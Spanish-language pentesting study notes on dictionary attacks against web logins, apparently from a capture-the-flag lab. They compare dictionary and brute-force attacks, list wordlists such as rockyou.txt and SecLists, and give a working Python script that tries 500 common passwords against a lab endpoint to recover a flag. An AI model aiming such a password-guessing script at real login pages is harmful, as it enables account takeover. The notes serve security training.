Ataques de Diccionario — Pentesting Web

🧠 ¿Por qué funcionan los ataques de diccionario?

Los ataques de diccionario son efectivos porque los humanos elegimos contraseñas fáciles de recordar, lo que normalmente implica:

Info

Un ataque de diccionario explota la previsibilidad humana, reduciendo drásticamente el tiempo necesario para romper contraseñas débiles en comparación con un ataque de fuerza bruta.


⚔️ Fuerza Bruta vs Diccionario

Característica Ataque de diccionario Ataque de fuerza bruta Explicación
Eficiencia Mucho más rápido Lento y costoso El diccionario reduce el espacio de búsqueda
Enfoque Adaptable al objetivo No dirigido Puedes incluir palabras relacionadas con víctima/empresa
Efectividad Excelente contra contraseñas débiles Eficaz contra cualquier contraseña Si la clave está en la lista → éxito inmediato
Limitaciones No sirve contra contraseñas aleatorias Impráctico para contraseñas largas Las complejas no aparecerán en la lista

🎯 Ejemplo de personalización de wordlist

Un atacante que apunta a un portal corporativo podría incluir:

Esto aumenta significativamente las probabilidades de éxito.


📦 Fuentes de listas de palabras

🔓 Listas públicas

🛠️ Listas personalizadas

Construidas con información recopilada del objetivo:

🧩 Listas especializadas

Orientadas a:

📁 Listas integradas en distros

Por ejemplo, rockyou.txt suele venir en Kali, Parrot, etc.


📚 Wordlists comunes

Lista Descripción Uso típico Fuente
rockyou.txt Millones de contraseñas filtradas Ataques de contraseñas RockYou breach
top-usernames-shortlist.txt Usuarios comunes Brute force rápido SecLists
xato-net-10-million-usernames.txt 10M usernames Enumeración de usuarios SecLists
2023-200_most_used_passwords.txt Top 200 del año Contraseñas comunes SecLists
default-passwords.txt Credenciales por defecto Routers, IoT, software SecLists

🧪 Ataque de Diccionario a /dictionary

La aplicación expone un endpoint:

POST /dictionary

Espera un parámetro:

password=<valor>

Si es correcto → devuelve flag.
Si es incorrecto → 401 Unauthorized.


🛠️ Script Python — dictionary-solver.py

import requests

ip = "83.136.255.53"  # Change this to your instance IP address
port = 42108       # Change this to your instance port number

# Download a list of common passwords from the web and split it into lines
passwords = requests.get("https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Common-Credentials/500-worst-passwords.txt").text.splitlines()

# Try each password from the list
for password in passwords:
    print(f"Attempted password: {password}")

    # Send a POST request to the server with the password
    response = requests.post(f"http://{ip}:{port}/dictionary", data={'password': password})

    # Check if the server responds with success and contains the 'flag'
    if response.ok and 'flag' in response.json():
        print(f"Correct password found: {password}")
        print(f"Flag: {response.json()['flag']}")
        break

▶️ ¿Qué hace el script?

  1. Descarga la wordlist (500 peores contraseñas de SecLists)

  2. Itera por cada contraseña

  3. Envía un POST a /dictionary

  4. Comprueba si la respuesta contiene flag

  5. Si acierta → imprime contraseña correcta + flag

  6. Si no → sigue con la siguiente


🧾 Ejecución

python3 dictionary-solver.py

Contraseña encontraa gateway
Pasted image 20251202194611.png